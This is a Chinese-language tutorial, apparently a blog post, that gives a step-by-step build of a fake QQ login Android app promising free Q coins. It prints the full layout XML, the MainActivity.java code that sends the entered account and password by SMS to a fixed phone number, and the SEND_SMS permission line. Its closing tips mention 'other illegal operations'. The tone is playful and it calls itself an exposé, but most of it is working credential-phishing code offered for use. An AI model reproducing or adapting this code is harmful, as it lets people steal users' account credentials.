*夜深人静,你熟练的点开了一个不可描述的网站,准备欣赏时,突然被无限弹窗”登录送Q币”,
你是否会心情澎湃??小手一抖点他一发!!然鹅…*
QQ就这样被盗了,刺激吧!!
其实Android移动端也存在类似的套路,下面小编为各位宝宝们来剖他一析
我一探究竟!
最简单的盗号QQ开发流程,你值得拥有,吼吼~~~
项目名称: 定制盗号QQ
期望结果: 用户输入账号密码,一点击提交,瞬间密码账户发送到了骗子的手机里!!
开发步骤:
1.创建一个Android项目,在res/values/string.xml里修改一个高大上的应用名!
2.在清单文件(AndroidManifest.xml)里的application节点下修改icon,来个诱人的图.
3.找到res/layout里的布局文件activity_main.xml:
*添加主界面图标:<ImageView />. 主要属性src="@drawable/Niceqq"
*添加账号输入框: <EditText/>. 主要属性 singlelinetrue="true" hint="QQ/邮箱/手机号码"
*添加密码输入框:<EditText/>. 主要属性 inputType="textPassword" hint="请输入密码"
*添加登录按钮:<Button/>. 主要属性 onClick="login"
4.编辑src/包名/MainActivity.java文件,实现具体逻辑.
*定义关心的控件: EditText qq,EditText qq,Button submit;
用findViewById(R.id.xx)添加控件
*设置点击事件,在login()方法里写业务逻辑.
>获取qq号和密码: 代码 getText().toString().trim()
>效验账号密码: 代码 TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)
>以短信形式发送账号和密码到指定手机号(模板代码)
SmsManager smsManager=SmsManager.getDefault();
smsManager.sendTextMessage("发送到的电话号码",null,"发送的内容",null,null);
5.在清单文件里开放发短信权限. <uses-permission android:name="android.permission.SEND_SMS"/>
上代码!!
(1)布局文件activity_main.xml
<ImageView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/Niceqq"
/>
<EditText
android:id="@+id/et_qq"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:singleLine="true"
android:hint="QQ/邮箱/手机号码"
/>
<EditText
android:id="@+id/et_psd"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:hint="请输入密码"
android:inputType="textPassword"
/>
<Button
android:layout_width="200dp"
android:layout_height="wrap_content"
android:onClick="login"
android:text="登陆领取Q币"
/>
(2)src下的java代码: MainActivity.java文件
public class MainActivity extends Activity {
//定义关心控件
private EditText et_qq;
private EditText et_psd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//添加关心控件
et_qq=(EditText) findViewById(R.id.et_qq);
et_psd = (EditText)findViewById(R.id.et_psd);
}
//登录按钮点击事件具体逻辑实现
public void login(View v){
//获取用户输入的账号和密码
String qq=et_qq.getText().toString().trim();
String psd=et_psd.getText().toString().trim();
//判断输入信息是否为空
if (TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)) {
Toast.makeText(this, "账号或密码不能为空", 0).show();
return;
}
//将获得的信息发送到指定手机号
SmsManager smsManager=SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, "username:"+qq+",password:"+psd, null, null);
Toast.makeText(this, "施主请耐心等待", 0).show();
}
}
(3)清单文件
在manifest节点里添加:(这样就可以发出短信了)
<uses-permission android:name="android.permission.SEND_SMS"/>
我一运行!
Tips:
此类Android应用常规套路:
布局中存在EditText和Button.
一 添加关心控件 findViewById(R.id.xx)
二 设置按钮点击事件
三 在按钮点击事件监听方法里,得到输入框里的内容
*代码 String data=et.getText().toString().trim();
*同时判断输入内容是否为空
if(TextUtils.isEmpty(data)){
Toast.makeText(上下文,"数据不能为空",0).show();
return;
}
*若有内容,获取之后进行其他非法操作